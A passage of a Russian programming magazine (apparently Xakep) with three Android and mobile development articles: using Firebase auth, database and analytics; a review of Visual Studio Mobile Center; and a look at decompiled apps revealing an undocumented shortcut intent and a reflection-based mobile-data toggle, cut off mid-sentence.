            Toast.makeText(SettingsActivity.this, R.string.auth_f
ailed,
            Toast.LENGTH_SHORT).show();
            flipCard();
            updateUI(null);
            // [END_EXCLUDE]
        }
    }
}

Пос ле выпол нения фун кции firebaseAuthWithGoogle сра бота ет наш слу шатель
аутен тифика ции mAuthListener.

private void firebaseAuthWithGoogle(GoogleSignInAccount acct) {
    Log.d(TAG, "firebaseAuthWithGoogle:" + acct.getId());
    // [START_EXCLUDE silent]
    showProgressDialog();
    // [END_EXCLUDE]
    AuthCredential credential = GoogleAuthProvider.getCredential(acct
.getIdToken(), null);
    mAuth.signInWithCredential(credential)
        .addOnCompleteListener(this, new OnCompleteListener<AuthRe
sult>() {
        @Override
        public void onComplete(@NonNull Task<AuthResult> task) {
            Log.d(TAG, "signInWithCredential:onComplete:" + task.
isSuccessful());
            // If sign in fails, display a message to the user.
            // If sign in succeeds the auth state listener 
            // will be notified and logic to handle the signed in
            // user can be handled in the listener.
            if (!task.isSuccessful()) {
                Log.w(TAG, "signInWithCredential", task.getException
());
                Toast.makeText(SettingsActivity.this, R.string.auth_f
ailed,
                Toast.LENGTH_SHORT).show();
            }
            // [START_EXCLUDE]
            hideProgressDialog();
            flipCard();
            // [END_EXCLUDE]
        }
    });
}

От клю чить  при ложе ние  от  учет ной  записи  поможет  метод  :
в его кол бэке обновля ем интерфейс при ложе ния.

revokeAccess()

private void revokeAccess() {
    // Firebase sign out
    mAuth.signOut();
    if (mGoogleApiClient.isConnected())
        // Google revoke access
        Auth.GoogleSignInApi.revokeAccess(mGoogleApiClient).setRes
ultCallback(new ResultCallback<Status>(){
            @Override
            public void onResult(@NonNull Status status) {
                updateUI(null);
            }
        });
}

https://android-tools.ru/
https://xakep.ru/2016/08/22/vk-backend/
https://firebase.google.com/
https://firebase.google.com/pricing/
https://github.com/firebase/quickstart-android/tree/master/auth
http://www.androidhive.info/2016/06/android-getting-started-firebase-simple-login-registration-auth/


СЕРЬЕЗНЫЙ ИНСТРУМЕНТ ОТ GOOGLE
НА СЛУЖБЕ ИНДИ‐ПРОЕКТОВ

КОДИНГ  НАЧАЛО СТАТЬИ←

ДАННЫЕ ПОЛЬЗОВАТЕЛЯ
Ин форма цию о текущем при вязан ном поль зовате ле мы получа ем из объ екта
FirebaseUser:

 — вер нет null или ссыл ку на ава тар поль зовате ля;• getPhotoUrl()
 — имейл‐адрес;• getEmail()

 — уни каль ный ID поль зовате ля в сис теме;• getUid()
 — имя поль зовате ля;• getDisplayName()

  —  под ска жет,
как  поль зователь  аутен тифици ровал ся  (про верь  на 

, если через email/пароль).

• getProviderData().get(1).getProviderId()
equals(

"password")

Имея  ссыл ку  на  ава тар  поль зовате ля,  мож но  в  одну  строч ку  кода  заг рузить
его  и  отоб разить  в  при ложе нии.  Для  это го  есть  мно жес тво  сто рон них  биб ‐
лиотек: Glide,  Fresco,  Picasso. Но  если  на  сче ту  каж дый  килобайт,  то мож но
исполь зовать свой AsyncTask. Вызыва ем заг рузку так:

ImageView iv_header = (ImageView) mDrawerHeader.findViewById(R.id.
iv_header);
if (user.getPhotoUrl() != null) {
    String img = user.getPhotoUrl().toString();
    DownloadImageTask imgTask = new DownloadImageTask(iv_header);
    imgTask.execute(img);
}

 в фоне заг ружа ет кар тинку, а в UI‐потоке уста нав лива ет
ее в нуж ный ImageView:
DownloadImageTask

public class DownloadImageTask extends AsyncTask<String, Void, Bitmap
> {
    private ImageView ivImageView;
    private Context context;
    public DownloadImageTask(ImageView ivImageView) {
        this.ivImageView = ivImageView;
        this.context = ivImageView.getContext();
    }
    @Override
    protected Bitmap doInBackground(String... params) {
        String imageUrl = params[0];
        Bitmap resultImage = null;
        File f = new File(context.getCacheDir(), String.valueOf(
imageUrl.hashCode()));
        if (f.exists()) {
            resultImage = BitmapFactory.decodeFile(f.getAbsolutePath
());
            // Log.d("DownloadImageTask", "f.exists()");
        } else {
            try {
                URL url = new URL(imageUrl);
                HttpURLConnection ucon = (HttpURLConnection) url.
openConnection();
                Bitmap image = BitmapFactory.decodeStream(ucon.getInp
utStream());
                FileOutputStream fos = new FileOutputStream(f);
                image.compress(Bitmap.CompressFormat.PNG, 100, fos);
                fos.close();
                fos.flush();
                resultImage = BitmapFactory.decodeFile(f.getAbs
olutePath());
                // Log.d("DownloadImageTask", "file downloaded");
            } catch (Exception e) {
                Log.e("getImage", e.toString());
            }
        }
        return resultImage;
    }
    @Override
    protected void onPostExecute(Bitmap result) {
        super.onPostExecute(result);
        if (ivImageView != null) {
            ivImageView.setImageBitmap(result);
        }
    }
}

Раз дел «Аутен тифика ция» в кон соли раз работ чика

РАБОТА С REALTIME DATABASE
Чи тать  дан ные  из  Realtime  Database  мож но  и  не  пред ста вив шись,  для  опи ‐
сания  уров ней  дос тупа  к  информа ции  исполь зуют ся  пра вила. Опи сыва ются
они  в  дре вовид ной  фор ме,  мож но  задать  отдель ные  пра вила  на  каж дую
ветвь.

Дре вовид ная струк тура дан ных

При мер пра вил из моего про екта

В  моем  про екте  нас трой ки  поль зовате лей  хра нят ся  в  вет ке  history.  Поль ‐
зователь  может  читать  толь ко  свою  ветвь  и  толь ко  если  он  пред ста вил ся.
Для про вер ки работы пра вил дос тупа есть симуля тор.

Про веря ем пра вила дос тупа пря мо в кон соли

В том же раз деле мож но пос мотреть ста тис тику по наг рузке, в моем слу чае
с 2000 иден тифици ровав шихся поль зовате лей пиковая наг рузка была восемь
под клю чений (до ста еще рас ти и рас ти).

В бес плат ный тариф укла дыва емся с запасом

Ре зер вные копии на текущем тарифе недос тупны, но если биз нес раз растет ‐
ся, то обя затель но купим и нас тро им.

ПИШЕМ И ЧИТАЕМ ДАННЫЕ С ANDROID
Нуж но отме тить,  что все будет работать и без дос тупа  к интерне ту,  а пос ле
под клю чения устрой ства к Сети все изме нения уйдут на сер вер Firebase. Ког ‐
да  ты  про чита ешь  ,  с  неп ривыч ки  может  воз никнуть
ряд воп росов. На прак тике их будет еще боль ше.

стра ницу  докумен тации

Нач нем с записи. Нам надо получить ссыл ку на объ ект DatabaseReference
и у него доб рать ся до нуж ной вет ки,  в  которую будем записы вать перемен ‐
ную. Дос тупные нам типы перемен ных:

;• String
;• Long
;• Double
;• Boolean

;• Map<String, Object>
.• List<Object>

Вот как прос то объ ект User записы вает ся в вет ку users:

private void writeNewUser(String userId, String name, String email) {
    User user = new User(name, email);
    mDatabase.child("users").child(userId).setValue(user);
}

По лучить уни каль ный userId поль зовате ля пос ле аутен тифика ции очень прос ‐
то:  .  Что бы  обно вить  дан ные,  нуж но  прос то  выз вать 

 с новыми дан ными. Уни каль ный ключ для каж дого объ екта поз воля ют
получить методы    и  .  В  сле дующем  при мере  я  зап рашиваю
ключ для еще не добав ленной записи, а потом соз даю вет ку с этим клю чом
и в нее сох раняю объ ект:

user.getUid() set‐
Value()

push() getKey()

String key = mDatabase.child(mUserId).push().getKey();
wi.ID = key;
Map<String, Object> postValues = wi.toMap();
mDatabase.child(mUserId).child(key).setValue(postValues);

Для чте ния дан ных исполь зуют ся слу шате ли ValueEventListener, их нуж но уста ‐
нав ливать  на  инте ресу ющие  нас  вет ки  методом  .
Событие будет про исхо дить каж дый раз при обновле нии дан ных на сер вере,
при  пер вом  под клю чении  к  БД,  и  прос то  так  про  запас  еще  раза  два‐три
может про изой ти.  Так  что будь  готов  к  это му мораль но и прак тичес ки. Если
тебе нуж но про читать дан ные один раз и боль ше не мучить ся,  то исполь зуй
метод  .

addValueEventListener

addListenerForSingleValueEvent
Вот при мер одно разо вого получе ния спис ка объ ектов для текуще го поль ‐

зовате ля из вет ки history.

private void syncMainList() {
    // Забираю данные
    FirebaseDatabase database = FirebaseDatabase.getInstance();
    DatabaseReference myRef = database.getReference("history");
    myRef.child(mUserId).addListenerForSingleValueEvent(new ValueE
ventListener() {
        @Override
        public void onDataChange(DataSnapshot dataSnapshot) { 
            for (DataSnapshot ds : dataSnapshot.getChildren()) {
                WifiInfo wi = ds.getValue(WifiInfo.class);
                addToList(wi);
            }
            // Устанавливаю слушатель на список
            setUpListener();
        }
        @Override
        public void onCancelled(DatabaseError error) {
            // Failed to read value
            Log.w(TAG, "Failed to read value.", error.toException());
        }
    });
}

А  если  нам  нуж но  пос тоян но  отсле живать  изме няющий ся  спи сок,  то  в  этом
поможет слу шатель ChildEventListener, который поз воля ет слу шать не еди нич ‐
ный эле мент, а всю дочер нюю вет ку:

private void setUpListener() {
    FirebaseDatabase database = FirebaseDatabase.getInstance();
    DatabaseReference myRef = database.getReference("history");
    myRef.child(mUserId)
        .addChildEventListener(new ChildEventListener() {
        @Override
        public void onChildAdded(DataSnapshot dataSnapshot, String s)
 {
            WifiInfo wi = dataSnapshot.getValue(WifiInfo.class);
            addToList(wi);
        }
        @Override
        public void onChildChanged(DataSnapshot dataSnapshot, String 
s) {
            WifiInfo wi = dataSnapshot.getValue(WifiInfo.class);
            updateList(wi); // Пока только из активных в историю
        }
        @Override
        public void onChildRemoved(DataSnapshot dataSnapshot) {
            WifiInfo wi = dataSnapshot.getValue(WifiInfo.class);
            removeFromList(wi);
        }
        @Override
        public void onChildMoved(DataSnapshot dataSnapshot, String s)
 {
        }
        @Override
        public void onCancelled(DatabaseError databaseError) {
        }
    });
}

Здесь пять событий, сами собой объ ясня ющие свою логику. Будь готов к сра ‐
баты ванию  их,  при чем  мно гок ратно му:  на  моем  опы те  при  руч ном  добав ‐
лении  эле мен та  из  при ложе ния  событие    для  это го  эле мен та
отра баты вало три раза.

onChildAdded

УЗНАЙ СВОЕГО ПОЛЬЗОВАТЕЛЯ ПРИ ПОМОЩИ ANALYTICS
Ста рый  инс тру мент  Google  Analytics  соз давал ся  изна чаль но  как  инс тру мент
для работы с вебом. Поз же его адап тирова ли под нуж ды мобай ла, но огра ‐
ниче ние  его  было  сущес твен ным.  В  новой  ана лити ке  Firebase  собира ется
дан ных  нам ного  боль ше.  Нап ример,  дан ные  об  уда лении  при ложе ния,
обновле нии  ОС  на  устрой стве,  очис тка  кеша  при ложе ния.  Мно жес тво
событий отсле жива ется авто мати чес ки и не тре бует нашего вме шатель ства.

Ес ли мы хотим соб рать события внут ри при ложе ния, то нам поможет класс
FirebaseAnalytics.  В  сво их  про ектах,  что бы  иметь  воз можность  вызывать
методы ана лити ки в любом мес те про екта, я раз мещаю ссыл ку на объ ект ана ‐
лити ки в клас се Application. Ини циали зирую его один раз при соз дании при ‐
ложе ния:

public class App extends Application {
    private static FirebaseAnalytics mFirebaseAnalytics;
    public void onCreate() {
        super.onCreate();
        mFirebaseAnalytics = FirebaseAnalytics.getInstance(this);
    }
    public static void selectContent(String type, String id) {
        Bundle bundle = new Bundle();
        bundle.putString(FirebaseAnalytics.Param.ITEM_ID, id);
        bundle.putString(FirebaseAnalytics.Param.CONTENT_TYPE, type);
        mFirebaseAnalytics.logEvent(FirebaseAnalytics.Event.SELECT
_CONTENT, bundle);
    }
}

Ме тод   мож но выз вать одной строч кой. Нап ример, соберем
дан ные по исполь зованию пун ктов меню: 

 или  .

select_content
App.selectContent("меню","окно

о‐программе") App.selectContent("меню","окно настройки")
Ус тановив  отсле жива ние  событий  в  при ложе нии,  мы  будем  знать,  что

поль зовате ля инте ресу ет боль ше все го. Дан ные, отправ ленные методом 
, нуж но искать в кон соли про екта на вклад ке «События».

lo‐
gEvent

Со бытия нашего про екта

Все события на рисун ке соб раны сис темой авто мати чес ки,  кро ме 
  (его  реали зация  опи сана  выше).  Вот  детали  по  это му  методу  (тут

ясно вид но, куда отпра вились парамет ры   и  ):

select_‐
content

CONTENT_TYPE ITEM_ID

Кар точка события select_content

Пол ный спи сок событий FirebaseAnalytics дос тупен  .тут

ПРО ПОДКЛЮЧЕНИЕ И ВМЕСТО ЗАКЛЮЧЕНИЯ
Пос ле нас трой ки всех необ ходимых модулей Firebase в кон соли необ ходимо
получить файл кон фигура ции с нас трой ками про екта  .
Там же можешь добавить кон троль ные сум мы сер тифика тов SHA (это мож но
сде лать через ассистент пря мо из Android Studio: Tools → Firebase). Я добав ‐
ляю  два  сер тифика та:  один  от  дебаг‐клю ча  и  один  релиз ный. Файл  google‐
services.json раз мести в пап ку app про екта. В gradle‐фай ле про екта не забудь
под клю чить нуж ные биб лиоте ки, нап ример:

google‐services.json

// Firebase Authentication
compile 'com.google.firebase:firebase‐auth:10.0.1'
// Firebase Data Base
compile 'com.google.firebase:firebase‐database:10.0.1'
// Google Sign In SDK (only required for Google Sign In)
compile 'com.google.android.gms:play‐services‐auth:10.0.1'
// Firebase‐аналитика
compile 'com.google.firebase:firebase‐core:10.0.1'

И  в  кон це  допиши  ,
этот пла гин обра бота ет файл  .

apply  plugin:  'com.google.gms.google‐services'
google‐services.json

Эта статья — толь ко пер вый под ход к  такому тяжело му сна ряду,  как Fire‐
base. Недав но этот сна ряд стал  , а зна чит, нам есть что изу чать
и исполь зовать.

еще тяжелее

Ду маю,  в  будущем  хакеры  най дут  дос той ное  при мене ние  такой  мощ ной
и бес плат ной тех нологии :).

https://firebase.google.com/docs/database/android/read-and-write
https://firebase.google.com/docs/reference/android/com/google/firebase/analytics/FirebaseAnalytics.Event
https://therunet.com/news/21960
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КОДИНГ

В    мы  рас смот рели  авто ‐
мати зацию  сбор ки  мобиль ных  при ложе ний
с  помощью  ,  разоб рались  со  сбор ‐
кой  Android‐  (и  iOS‐)  при ложе ния,  под клю ‐
чили  ,  про вели  авто ‐
мати чес кое  UI‐тес тирова ние  и  внед рили

 для получе ния обратной свя зи.
Сегод ня  мы  про дол жим  пог ружение  в  мир
инс тру мен тов  Mobile  DevOps,  которые
не  прос то  уско ряют,  но  еще  и  замет но
упро щают раз работ ку мобиль ных при ложе ‐
ний.  На  этот  раз  мы  рас смот рим  интегри ‐
рован ное  решение 

.

прош лой  статье

Bitrise

Xamarin  Test  Cloud

HockeyApp

Visual  Studio  Mobile
Center

Пре дыду щую статью читай по этой ссыл ке: « ».DevOps на служ бе челове ка

Нач нем мы нем ного изда лека и пос мотрим на Mobile DevOps в исто ричес ком
раз резе. Сами по себе смар тфо ны и план шеты вош ли в нашу жизнь замет но
быс трее, чем их шум ные пред ки‐пылес борни ки, и для мно гих людей на нашей
пла нете  уже  дав но  ста ли  основным  спо собом  под клю чения  к  циф ровой
реаль нос ти.  Капитан  Оче вид ность  утвер жда ет,  что  Mobile  плот но  вой дет
не  толь ко  в  жизнь  обыч ных  юзе ров,  но  и  в  биз нес‐про цес сы  сов ремен ных
ком паний  по  все му  миру.  Поэто му  раз работ чику  кру тых  при ложе ний  обя ‐
затель но сто ит прис мотреть ся к прак тикам DevOps, что бы не отстать от поез ‐
да.

ЧТО ТАКОЕ MOBILE CENTER?
Кор порация Microsoft в недале ком прош лом упус тила рынок мобиль ных эко ‐
сис тем,  поэто му  теперь  все ми  силами  (и  дол ларами)  ста рает ся  навер стать
упу щен ное,  пред лагая  раз работ чикам  целую  кучу  раз личных  SDK,  сер висов
и инс тру мен тов. Покуп ка   и   поз волила кор порации пред ‐
ложить  рын ку  интегри рован ные  инс тру мен ты  для  про фес сиональ ной  раз ‐
работ ки  мобиль ных  при ложе ний  вне  зависи мос ти  от  целевой  плат формы.
Сам кон вей ер Visual Studio Mobile Center (далее VSMC) осно ван на уже зна ‐
комых нам сер висе ана лити ки и дис три буции   и облачной фер ме
устрой ств  .

Xamarin HockeyApp

HockeyApp
Xamarin Test Cloud

Ес ли рас смат ривать рынок инс тру мен тов раз работ ки, то все идет к тому, что
миром Mobile  будут  пра вить    (или  что  там  обе щают  вмес то
Java  в  будущем?  Kotlin?),  ,    и  .  Все  четыре
сте ка уже под держи вают ся из короб ки в новом VSMC. А в будущем обе щают
добавить еще и Windows.

Android +  Java

iOS + Swift Xamarin React Native

Mobile  Center  пока  находит ся  в  ста дии  ран него  Preview,  поэто му  воз ‐
можнос ти  еще  дос таточ но  огра ничен ны  и  сам  сер вис  не  рекомен дует ся
к исполь зованию в production‐окру жении. Одна ко в VSMC уже дос тупны все
основные эле мен ты кон вей ера Mobile DevOps: 

 (раз личные события и кра ши).
сбор ка, тес тирова ние, дис -

три буция и ана лити ка

При ятное  допол нение  к  VSMC — модули  Tables  и  Identity,  которые могут
быть  полез ны,  если  ты  пла ниру ешь  исполь зовать  Azure  в  сво их  мобиль ных
при ложе ниях.  Tables —  это  облачный  MBaaS  (mobile  backend  as  a  service),
который поз волит раз вернуть базу дан ных в обла ке и в нес коль ко строк кода
получить  к  ней  дос туп  из  при ложе ния.  В    раз вернут ся  SQL  Database
и  REST‐сер вер  (на  базе  Azure  App  Services),  нас тро енные  для  сов мес тной
работы и готовые к мас шта биро ванию и безот казно му дос тупу.

Azure

В  реаль ных  и  боль ших  про ектах  эта  шту ка  час то  может  быть  излишней,
одна ко  для  тво его  стар тапа  или  быс тро го  про тоти па  подой дет  иде аль но.
С  помощью  Identity  мож но  будет  лег ко  авто ризо вать  поль зовате лей  через
Facebook, Google  или  Twitter.  Авто ризо ван ные  таким обра зом юзе ры  смо гут
получать  дос туп  к  дан ным  из  Tables,  помечен ным  как  тре бующие  авто риза ‐
ции. И  Tables,  и  Identity  пре дос тавля ют  базовую фун кци ональ ность,  которой
может  быть  дос таточ но  для  неболь ших  или  прос тых  про ектов.  Пара  строк
кода — и все работа ет.

Но сам по себе Mobile Center — это в пер вую оче редь кон вей ер DevOps,
поэто му перей дем к рас смот рению клю чевой фун кци ональ нос ти.

БИЛДИМ
Итак, у нас есть исходные коды про екта Navigation Drawer из набора стан дар ‐
тных  при меров  Android  на  Java.  Залива ем  их  на    (под дер жка  дру гих
сер висов  будет  добав лена  в  VSMC  поз же),  соз даем  бес плат ную  учет ку
на    и  добав ляем  новое  при ложе ние.  Перехо дим  в  раз дел
Build, под клю чаем репози торий GitHub и выбира ем основной branch.

GitHub

mobile.azure.com

Пос ле сбор ки мы можем ска чать получен ные APK и под робные логи. Все
как у людей и без изли шеств. Из допол нитель ных опций сбор ки мож но отме ‐
тить  воз можность  запус ка  Unit‐тес тов  и  авто мати чес кого  уве дом ления
бета‐тес тиров щиков о готов ности уста новоч ного пакета.

В  будущем  так же  обе щают  добавить  под дер жку  репози тори ев 
и  .  Для  авто мати чес ких  UI‐тес тов,  прав да,  пока
при дет ся заливать сбор ку руками из кон соли, о чем мы и погово рим далее.

Bitbucket
Visual  Studio  Team  Services

Ес ли  тебя  инте ресу ет  ,  то  нас ‐
тоятель но  рекомен дуем  поз накомить ся  с  ,  о  котором  мы  недав но

.

от дель ная  сис тема  для  сбор ки  про ектов

Bitrise.io
рас ска зыва ли

ГОНЯЕМ ТЕСТЫ
Как  мы  уже  зна ем,  в  VSMC  интегри рован  сер вис  Xamarin  Test  Cloud.
Для  нашего  при мера  мы  будем  исполь зовать  написан ный  рань ше  скрипт
на  .Calabash

Для  начала  нам  необ ходимо  уста новить  Node.js  и  Ruby  плюс  ряд  допол ‐
нитель ных  gems.  Выдумы вать  ничего  не  при дет ся,  прос то  сле дуй  инс трук ‐
циям в Mobile Center. Перед тем как отпра вить при ложе ние на тес тирова ние,
его нуж но соб рать коман дой 
в кон соли. Резуль татом работы этой коман ды дол жна быть пап ка test_servers,
содер жащая  кор рек тно  под писан ный  APK‐файл.  Пос ле  сбор ки  пот ребу ется
выпол нить коман ду mobile‐center  test  run. Через нес коль ко минут мы уви дим
резуль таты тес тирова ния и получим email‐уве дом ление о завер шении тес тов.

calabash‐android build [путь до apk].apk

Кста ти,  свои фер мы для  авто мати зиро ван ного UI‐тес тирова ния  при ложе ний
так же пред ста вили Amazon и Google.

От личий от ори гиналь ного Xamarin Test Cloud здесь нем ного: есть пошаго вые
скрин шоты и монито ринг пот ребле ния ресур сов. Устрой ств мно го, но в VSMC
Preview пока есть огра ниче ние на количес тво одновре мен ных запус ков (одно
устрой ство за один раз) и выделен ного вре мени (до одно го часа в день).

Ес ли ты ищешь   для авто мати зиро ‐
ван ного  UI‐тес тирова ния,  то  могу  посове товать  пос мотреть  в  сто рону 

,  ,  .

от дель ную облачную фер му устрой ств

AWS
Device Farm Xamarin Test Cloud Google Firebase Test Lab

АНАЛИЗИРУЕМ И РАСПРОСТРАНЯЕМ
В качес тве под систе мы для сбор ки кра шей и событий внут ри VSMC исполь ‐
зует ся  сер вис HockeyApp. Для  интегра ции SDK  дос таточ но  добавить  новые
зависи мос ти к про екту и зарегис три ровать обра бот чик кра шей.

Са ми кра ши мож но смот реть в stack trace, а события — в ста тис тике.

Для  более  деталь ного  ана лиза  поведе ния  поль зовате лей  все‐таки  луч ше
исполь зовать  « »,    или  ,  так  как  мар ‐
кетоло ги пред почита ют для сво ей работы эти сер висы.

Ян декс.Мет рику Google  Analytics Flurry

ВЫВОДЫ
Итак,  сегод ня мы поз накоми лись  с  уни вер саль ным и интегри рован ным  кон ‐
вей ером  Visual  Studio  Mobile  Center.  Если  срав нивать  с  тем  же  Bitrise.io,
интегри рован ные решения,  с одной сто роны, могут  силь но  упростить жизнь
раз работ чикам мобиль ных  при ложе ний  и  уско рить  внед рение  инс тру мен тов
DevOps  в  пов седнев ную  прак тику,  но  с  дру гой  —  они  не  нас толь ко  гиб ки
и  фун кци ональ ны,  как  DIY‐кон вей еры.  В  бли жай шее  вре мя  сто ит  ожи дать
появ ления боль шего чис ла интегри рован ных сис тем от дру гих игро ков.

Ес ли же прог раммист ский зуд или задачи про екта тре буют сво его кон вей ‐
ера,  то  выбор  инс тру мен тария  уже  сей час  дос таточ но широк,  вклю чая  раз ‐
личные open  source про екты,  поэто му  выбирать надо исхо дя из  тре бова ний
и пла нов раз вития про дук та.

Ус пешной  тебе  авто мати зации!  Будут  воп росы —  пиши  в  ком мента риях!

https://xakep.ru/2017/02/17/devops-authomatization/
https://mobile.azure.com/
https://xakep.ru/2017/02/17/devops-authomatization/
https://hockeyapp.net/
https://testcloud.xamarin.com/
https://azure.microsoft.com/
https://github.com/
https://mobile.azure.com/
https://bitbucket.org/
https://www.visualstudio.com/
https://www.bitrise.io/
https://xakep.ru/2017/02/17/devops-authomatization/
https://calaba.sh/
https://aws.amazon.com/device-farm/
https://testcloud.xamarin.com/
https://firebase.google.com/docs/test-lab/
https://metrika.yandex.ru/
https://analytics.google.com/
https://dev.flurry.com/


ЧТО ПОЛЕЗНОГО МОЖНО НАЙТИ,
РАЗБИРАЯ ПРИЛОЖЕНИЯ
ПРИЗНАННЫХ АВТОРОВ?

Владимир Тимофеев
android‐tools.ru

КОДИНГ

По ка  Евге ний  Зоб нин  учит  тебя 
  от  чужих  глаз  и  шалов ливых

ручонок,  я  решил  занять  позицию  хит рого
раз работ чика,  который всег да рад, ска жем
так, кое‐чему поучить ся у соз дателей снис ‐
кавших  опре делен ную  популяр ность  при ‐
ложе ний  ;). В этой статье я рас ска жу, как я
ана лизи ровал код чужих прог рамм и нашел
одну  инте рес ную  недоку мен тирован ную
фун кцию для работы с вид жетами при ложе ‐
ний.

за щищать
свой  код

ВИДЖЕТ С НАСТРОЙКОЙ ПРИ ДОБАВЛЕНИИ
Мно гие из нас видели экран с нас трой ками, который появ ляет ся при добав ‐
лении вид жета на экран устрой ства. Нап ример, погод ный вид жет может спро ‐
сить: «А для какого города показы вать прог ноз?» Таким обра зом мож но очень
гиб ко нас тро ить нес коль ко вид жетов одно го и того же при ложе ния для отоб ‐
ражения раз ной информа ции.

Что бы  сэконо мить  труд  на  рутин ных  опе раци ях,    может
за нас в пару кли ков соз дать рабочую заготов ку с нас тра иваемым вид жетом.
От нас тре бует ся толь ко прос тавить нуж ные галоч ки в очень информа тив ном
мас тере. Запус кает ся он так:  .

Android  Studio

New‐Widget‐AppWidget

Прос той мас тер, все ясно без докумен тации

В резуль тате его работы у нас в про екте появят ся два новых клас са, которые
авто мати чес ки про пишут ся в манифест:

<receiver android:name=".NewAppWidget">
    <intent‐filter>
        <action android:name="android.appwidget.action.APPWID
GET_UPDATE"/>
    </intent‐filter>
    <meta‐data
        android:name="android.appwidget.provider"
        android:resource="@xml/new_app_widget_info"/>
</receiver>
<activity android:name=".NewAppWidgetConfigureActivity">
    <intent‐filter>
        <action android:name="android.appwidget.action.APPWID
GET_CONFIGURE"/>
    </intent‐filter>
</activity>

Пер вый  класс  отве чает  за  сам  вид жет,  а  вто рой  пред став ляет  собой
активность  для  его  нас трой ки,  которая  запус кает ся  как  раз  при  его  добав ‐
лении.  Такую  активность  мы  можем  запус кать  в  раз ные  момен ты,  но  будет
не  очень  понят но,  какой  имен но  вид жет  сей час  нас тра ивает ся.  Так  что
момент самый удач ный и луч ше боль ше никаких мест для дан ной нас трой ки
не  исполь зовать.  Этот  при мер  соз дания  вид жета  опи сан  во  всех  уро ках
и доках. Код прос той, и ты сам в нем раз берешь ся. Меня же заин тересо вала
воз можность выбора икон ки при ложе ния, реали зован ная через вид жет. Такая
фун кция реали зова на в при ложе нии  .Wifi Analyzer

Вот же вид жет. Негус то, но все же выбор

ПОЛЕЗНЫЕ И БЕСПОЛЕЗНЫЕ ВИДЖЕТЫ
По нача лу я  хотел прос то рисовать икон ку при ложе ния в вид жете. Это обос ‐
новано  тем,  что  для  добав ления  икон ки  на  рабочий  стол  нуж но  добавить
новое раз решение в манифест.

<uses‐permission
    android:name="com.android.launcher.permission.INSTALL_SHORTCUT" /
>

А так как поль зовате ли не любят мно го пол номочий у при ложе ния и вдо бавок
при  изме нении  раз решений  в  манифес те  отклю чает ся  механизм  авто ‐
обновле ния, то я ста рал ся сде лать икон ки через механизм вид жетов. И как я
ни  упражнял ся  в  дизай не,  получить  икон ку  один  в  один  как  ори гиналь ная
не  выходи ло.  Виной  все му  было  непони мание  работы  сис темы.  Вид жет
не пред назна чен для дуб лирова ния фун кци ональ нос ти икон ки, он может быть
мак сималь но  на  нее  похож,  но  рису ются  они  по‐раз ному,  и  на  каж дой  про ‐
шив ке  свой  лаун чер,  рису ющий  рабочий  стол  с  ярлы ками  и  вид жетами,
как взду мает ся его раз работ чику.

Пос мотрев чужое твор чес тво, я понача лу был слег ка обес куражен: у дан ‐
ного при ложе ния вид жет не име ет экра на нас трой ки и все го лишь дуб лиру ет
фун кци ональ ность икон ки, прос то запус кая при ложе ние. На пер вый взгляд он
совер шенно бес полезен… Но ког да я свя зал ся с авто рами это го при ложе ния,
мне ска зали, что вид жет показы вает количес тво неп рочитан ных писем. Такая
фун кция есть в iOS.

На пер вый взгляд — ничего полез ного… на вто рой, впро чем, чуть луч ‐
ше

Прав да, не сов сем понят но, зачем кро хот ному вид жету сде лали воз можность
менять  свой  раз мер?  Или  почему  не  сде лали  нас трой ку  выбора  поч тового
ящи ка при добав лении вид жета, нап ример?

Что‐то тут не так

ДЕЛАЕМ ИКОНКИ, КАК FARPROC
Раз  не  получи лось  сде лать  новую  икон ку  через
обыч ный вид жет, нуж но пос мотреть, как пос тупа ют
дру гие раз работ чики. В этом могут помочь раз ные
инс тру мен ты,  я обыч но 

  или  .  Заг лянув
в манифест при ложе ния  , я не нашел
обыч ных  опи саний  вид жетов,  как  из  при мера
выше.  Но  вид жет‐то  был!  И  он  как‐то  запус кал
экран с выбором икон ки!

поль зуюсь онлайн‐деком ‐
пилято ром decompileandroid.com

Wifi Analyzer

Ме тодом  глу боко го  поис ка  и  науч ного  тыка
было  уста нов лено,  что  тут  исполь зует ся 

.  А  в  манифес те  толь ко
и  нуж но,  что  добавить  новую    с  осо бым
филь тром:

не доку ‐
мен тирован ная  фун кция

activity

<activity
    android:name="com.farproc.wifi.analyzer.CreateShortcutScreen"
    android:excludeFromRecents="true"
    android:configChanges="keyboard|keyboardHidden|orientation|screen
Layout|uiMode|screenSize|smallestScreenSize"
    android:noHistory="true">
    <intent‐filter>
        <action android:name="android.intent.action.CREATE_SHORTCUT"/
>
    </intent‐filter>
</activity>

Нуж ный экран мы запус тили, а даль ше уже пол ная сво бода твор чес тва. Вот,
к при меру, сов сем понят ный, «обград ленный» код добав ления икон ки:

private Intent m1641a(int i) {
    Intent intent = new Intent();
    Parcelable intent2 = new Intent(this, MainScreen.class);
    intent.putExtra("android.intent.extra.shortcut.ICON_RESOURCE", 
ShortcutIconResource.fromContext(this, f1149c[i]));
    intent.putExtra("android.intent.extra.shortcut.INTENT", intent2);
    intent.putExtra("android.intent.extra.shortcut.NAME", getString(R
.string.app_name));
    return intent;
}

Все нас тоящие име на методов изме нены, но от кон стант никуда не денешь ‐
ся. Они и доносят нам суть про исхо дяще го.

КАК ВКЛЮЧИТЬ МОБИЛЬНЫЕ ДАННЫЕ С ВИДЖЕТА?
У  упо мяну того  выше  авто ра  есть  при ложе ние  .

 его поз воля ет вклю чать и вык лючать мобиль ный интернет
пря мо с рабоче го сто ла пос редс твом вид жета без root‐прав. Этим вид жетом
я  поль зовал ся  на  ста ром  Samsung  с  вер сией  Android  2.3,  но  на  пос ледних
вер сиях он работать не хочет :).

Data  Enabler  Widget
Функциональность

В  деком пилиро ван ном  виде  фун кция  вклю чения  GPRS  дан ных  выг лядит
так:

private void b(Context context)
{
    if (a != null)
    {
        break MISSING_BLOCK_LABEL_56;
    }
    a = (ConnectivityManager)context.getSystemService("connectivity")
;
    try
    {
        b = android/net/ConnectivityManager.getMethod("setMob
ileDataEnabled", new Class[] {
            Boolean.TYPE
        });
    }
    // Misplaced declaration of an exception variable
    catch (Context context) { }
    c = android/net/ConnectivityManager.getMethod("getMobileDataEn
abled", new Class[0]);
    return;
    context;
}

Мож но  . Там же автор пишет,
что она будет работать на всех вер сиях Android, а с вер сии 5.0 — толь ко если
при ложе ние сис темное. По моим наб людени ям, так мож но вклю чать интернет
до вер сии 4.3.

най ти ее рас ширен ную вер сию на Stack Overflow

В  осно ве  это го  метода  лежит  реф лексия,  через  нее  вызыва ют  непуб ‐
личный  метод.  С  точ ки  зре ния  безопас ности  это  боль шая  проб лема,  так
как 

